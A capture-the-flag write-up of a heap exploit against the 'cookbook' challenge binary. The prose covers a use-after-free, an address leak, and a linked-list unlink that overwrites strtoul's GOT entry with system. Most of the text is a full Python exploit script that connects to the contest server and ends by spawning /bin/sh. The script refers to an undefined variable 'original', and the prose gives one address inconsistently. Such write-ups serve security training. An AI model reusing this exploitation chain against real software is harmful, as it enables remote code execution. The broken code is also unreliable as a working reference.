There exists a Use-After-Free bug when discarding a recipe in sub_8049092() because it doesn't assign 0x804d0a0 to NULL after freeing.
Memory Leak exists where it prints recipe. Let's call the address in 0x804d0a0 "ptr", and when a recipe is printed, the address to which ptr+116 is pointing is leaked.
cndq => Allocate and Free 0x804d0a0 (generates dangling ptr)
ang, "A"x116 + address to leak, q => new ingredient on ptr
cp => Leak
Memory Overwrite occurs when freeing a node in linked list. Let's take a look.
node1 node2 node3
+------------+ +------------+ +------------+
| ingredient | |----->| ingredient | |----->| ingredient |
|------------| | |------------| | |------------|
| next |-------| | next |-------| | next |
+------------+ +------------+ +------------+
In this situation, freeing node2 will assign node2->next to node1->next.
We can overwrite ptr+0 and ptr+4 the same way we leaked memory, each of which is pointing to a linked list respectively.
So if we overwrite ptr+4 to 0x804a098, it will look like this:
node1 (0x804d098) node2 (ptr1) node3 (0x804d034 = strtoul-4)
+------------+ +---------------------+ +------------+
| ingredient | |----->| ingredient (calory) | |----->| ingredient |
|------------| | |---------------------| | |------------|
| next |-------| | next (price) |-------| | next |
+------------+ +---------------------+ +------------+
Because node2 is an ingredient object, we can manipulate node2 by setting a calory and price.
Deleting node2 will make node1's next point to 0x804d034. There is a reason for this specific address 0x804d034. After freeing node2, the function iterates all the nodes in linked list to count the nodes, and node3->next(strtoul@libc)->next is NULL. I tried several other addresses but it all failed, accessing every next address until next is NULL.
node3 (0x804d034) node4 (strtoul)
+--------------------+ +------------+
| ingredient | |----->| ingredient |
|--------------------| | |------------|
| next (strtoul) |-------| | next(0) |
+--------------------+ +------------+
Freeing node2 will make node1->next point to 0x804d034, then we can overwrite strtoul's GOT to system by setting ingredien'ts price. After that, there's a part where user input goes into strtoul at adding ingredients in recipe.
Final exploit code is as follows. (haven't got the time to make code clean..)
# -*- coding: utf-8 -*-
# BKPCTF{hey_my_grill_doesnt_work_here}
from socket import *
from struct import pack, unpack
from time import sleep
import re
import yum3
p = lambda x: pack("<I", x)
up = lambda x: unpack("<I", x)[0]
s = socket(2,1)
s.connect(('cookbook.bostonkey.party', 5000))
yum3.recv_until(s, "what's your name?\n")
s.send("asdf\n")
print 'asdf'
yum3.recv_until(s, "[q]uit\n")
##### [1] LEAK puts & calc system
s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")
s.send("n\n")
print 'n'
yum3.recv_until(s, "[q]uit\n")
s.send("d\n")
print 'd'
yum3.recv_until(s, "[q]uit\n")
s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")
s.send("a\n")
print 'a'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")
s.send("n\n")
print 'n'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")
s.send("g\n")
print 'g'
s.send("A"*116 + p(0x804d030) +"\n")
print '"A"*116....'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")
s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")
s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")
s.send("p\n")
print 'p'
data = yum3.recv_until(s, "[q]uit\n")
puts_addr = up(re.findall(r"recipe type: (.+)", data)[0][:4])
system_addr = puts_addr - 161776
print 'system:', hex(system_addr)
s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")
##### [2] LEAK 0x804d0a0
s.send("a\n")
print 'a'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")
s.send("g\n")
print 'g'
s.send("A"*116 + p(0x0804d0a0) +"\n")
print '"A"*116....'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")
s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")
s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")
s.send("p\n")
print 'p'
data = yum3.recv_until(s, "[q]uit\n")
print data
h804d0a0 = up(re.findall(r"recipe type: (.+)", data)[0][:4])
print 'h804d0a0:',hex(h804d0a0)
s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")
##### [3] add recipe: water, corn, tomato
s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")
s.send("a\n")
print 'a'
yum3.recv_until(s, "which ingredient to add? ")
s.send("water\n")
print 'water'
yum3.recv_until(s, "how many? (hex): ")
s.send("1\n")
print '1'
yum3.recv_until(s, "[q]uit\n")
s.send("a\n")
print 'a'
yum3.recv_until(s, "which ingredient to add? ")
s.send("corn\n")
print 'corn'
yum3.recv_until(s, "how many? (hex): ")
s.send("1\n")
print '1'
yum3.recv_until(s, "[q]uit\n")
s.send("a\n")
print 'a'
yum3.recv_until(s, "which ingredient to add? ")
s.send("tomato\n")
print 'tomato'
yum3.recv_until(s, "how many? (hex): ")
s.send("1\n")
print '1'
yum3.recv_until(s, "[q]uit\n")
s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")
##### [4] LEAK 0x804d0a0 => to put in second node for freeing
s.send("a\n")
print 'a'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")
s.send("g\n")
print 'g'
s.send("A"*116 + p(h804d0a0) +"\n")
print '"A"*116....'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")
s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")
s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")
s.send("p\n")
print 'p'
data = yum3.recv_until(s, "[q]uit\n")
print data
original_ptr = up(re.findall(r"recipe type: (.+)", data)[0][:4])
print 'original_ptr:',hex(original_ptr)
s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")
##### [5] make a fake second node
# [cur_ingredient (need to be pointing a real one to prevent dying in free()) | next (=strtoul-4) ]
s.send("a\n")
print 'a'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")
s.send("n\n")
print 'n'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")
s.send("s\n")
s.send(str(original)+"\n")
print 's %08x' % original
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")
s.send("p\n")
s.send("134533172\n")
print 'p %08x' % 134533172 # 0x804d038-4 => strtoul-4
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")
s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")
##### [6] overwrite first node to 0x804d098
s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")
s.send("d\n")
print 'd'
yum3.recv_until(s, "[q]uit\n")
s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")
s.send("g\n")
print 'g'
yum3.recv_until(s, "how long is the name of your cookbook? (hex because you're both a chef and a hacker!) : ")
s.send("f\n")
s.send(p(original)+p(0x0804d098)+'\x00\n')
print 'f original/0x0804d098'
yum3.recv_until(s, "[q]uit\n")
##### [7] free second node => [0x804d098+4] = 0x804d034
s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")
s.send("r\n")
print 'r'
yum3.recv_until(s, "which ingredient to remove? ")
s.send("corn\x00\n")
print 'corn'
yum3.recv_until(s, "[q]uit\n")
s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")
s.send("a\n")
print 'a'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")
s.send("s\n")
s.send(str(original)+"\n")
print 's %08x' % original
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")
s.send("p\n")
s.send(str(system_addr-0x100000000)+"\n") # to fit %d
print 'p %08x' % system_addr
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")
s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")
##### [8] trigger
s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")
s.send("a\n")
print 'a'
yum3.recv_until(s, "which ingredient to add? ")
s.send("water\n")
print 'water'
yum3.recv_until(s, "how many? (hex): ")
s.send("/bin/sh\n")
print '/bin/sh'
yum3.shell(s)
'''
cndq
ang
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
q
cp
c
a"water"
a"corn"
a"tomato"
q
an => 0x0804d098+4에 뭔가 있음
s 0x0804f6f0 = 0x804f2b0에 들어있는 original node값 # 134543088 # for freeing
p &strtoul@got 0x804d038-4 = 134533172
q
cdq
g 20
0x804f2b0: 0x0804f6c0 0x0804f2b8 ...
set *0x804f2b0= 원래 0x804f2b0에 들어있는 값
set *0x804f2b4= 0x0804d098
c
r"corn"
a
p &system
q
c
a water
/bin/sh
'''